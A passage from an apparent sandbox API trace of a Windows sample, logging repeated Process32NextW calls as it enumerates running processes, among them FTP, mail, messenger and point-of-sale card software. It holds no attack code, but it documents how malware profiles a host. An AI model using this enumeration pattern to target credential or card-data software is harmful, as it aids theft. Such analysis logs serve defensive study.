th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0166.574] lstrlenW (lpString="specified wales.exe") returned 19 [0166.574] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0166.574] lstrlenW (lpString="inspiration.exe") returned 15 [0166.574] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0166.574] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0166.575] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0166.575] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0166.575] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0166.575] lstrlenW (lpString="classbuck.exe") returned 13 [0166.575] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0166.615] lstrlenW (lpString="x-deutschland.exe") returned 17 [0166.616] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0166.616] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0166.616] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0166.616] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0166.617] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0166.617] lstrlenW (lpString="lawsuit.exe") returned 11 [0166.617] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0166.618] lstrlenW (lpString="3dftp.exe") returned 9 [0166.618] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0166.618] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0166.618] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0166.619] lstrlenW (lpString="alftp.exe") returned 9 [0166.619] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0166.619] lstrlenW (lpString="barca.exe") returned 9 [0166.619] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0166.619] lstrlenW (lpString="bitkinex.exe") returned 12 [0166.620] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0166.620] lstrlenW (lpString="coreftp.exe") returned 11 [0166.620] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0166.621] lstrlenW (lpString="far.exe") returned 7 [0166.621] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0166.622] lstrlenW (lpString="filezilla.exe") returned 13 [0166.622] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0166.622] lstrlenW (lpString="flashfxp.exe") returned 12 [0166.622] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0166.623] lstrlenW (lpString="fling.exe") returned 9 [0166.623] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0166.624] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0166.624] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0166.624] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0166.624] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0166.625] lstrlenW (lpString="icq.exe") returned 7 [0166.625] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0166.626] lstrlenW (lpString="leechftp.exe") returned 12 [0166.626] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0166.626] lstrlenW (lpString="ncftp.exe") returned 9 [0166.626] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0166.627] lstrlenW (lpString="notepad.exe") returned 11 [0166.627] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0166.628] lstrlenW (lpString="operamail.exe") returned 13 [0166.628] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0166.628] lstrlenW (lpString="pidgin.exe") returned 10 [0166.629] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0166.629] lstrlenW (lpString="scriptftp.exe") returned 13 [0166.629] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0166.630] lstrlenW (lpString="skype.exe") returned 9 [0166.630] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0166.631] lstrlenW (lpString="smartftp.exe") returned 12 [0166.631] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0166.631] lstrlenW (lpString="thunderbird.exe") returned 15 [0166.631] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0166.632] lstrlenW (lpString="totalcmd.exe") returned 12 [0166.632] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0166.633] lstrlenW (lpString="trillian.exe") returned 12 [0166.633] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0166.633] lstrlenW (lpString="webdrive.exe") returned 12 [0166.633] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0166.634] lstrlenW (lpString="whatsapp.exe") returned 12 [0166.634] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0166.635] lstrlenW (lpString="winscp.exe") returned 10 [0166.635] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0166.635] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0166.635] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0166.636] lstrlenW (lpString="active-charge.exe") returned 17 [0166.636] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0166.636] lstrlenW (lpString="accupos.exe") returned 11 [0166.637] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0166.637] lstrlenW (lpString="afr38.exe") returned 9 [0166.637] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0166.638] lstrlenW (lpString="aldelo.exe") returned 10 [0166.638] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0166.638] lstrlenW (lpString="ccv_server.exe") returned 14 [0166.638] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0166.639] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0166.639] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0166.640] lstrlenW (lpString="creditservice.exe") returned 17 [0166.640] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0166.640] lstrlenW (lpString="edcsvr.exe") returned 10 [0166.641] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0166.641] lstrlenW (lpString="fpos.exe") returned 8 [0166.641] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0166.642] lstrlenW (lpString="isspos.exe") returned 10 [0166.642] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0166.642] lstrlenW (lpString="mxslipstream.exe") returned 16 [0166.642] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0166.643] lstrlenW (lpString="omnipos.exe") returned 11 [0166.643] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0166.644] lstrlenW (lpString="spcwin.exe") returned 10 [0166.644] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0166.644] lstrlenW (lpString="spgagentservice.exe") returned 19 [0166.644] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0166.645] lstrlenW (lpString="utg2.exe") returned 8 [0166.645] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0166.645] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0166.645] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.646] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.646] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.646] lstrlenW (lpString="svchost.exe") returned 11 [0166.647] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.647] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.647] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0166.648] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0166.648] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.648] lstrlenW (lpString="conhost.exe") returned 11 [0166.648] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0166.649] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0166.649] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.649] lstrlenW (lpString="conhost.exe") returned 11 [0166.649] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0166.650] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0166.650] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0166.650] lstrlenW (lpString="powershell.exe") returned 14 [0166.650] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.651] lstrlenW (lpString="conhost.exe") returned 11 [0166.651] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0166.651] lstrlenW (lpString="TiWorker.exe") returned 12 [0166.651] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0166.652] lstrlenW (lpString="sppsvc.exe") returned 10 [0166.652] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0166.652] lstrlenW (lpString="powershell.exe") returned 14 [0166.652] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.653] lstrlenW (lpString="conhost.exe") returned 11 [0166.653] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.653] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.653] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0166.689] lstrlenW (lpString="NS2.exe") returned 7 [0166.689] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.689] lstrlenW (lpString="conhost.exe") returned 11 [0166.690] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, 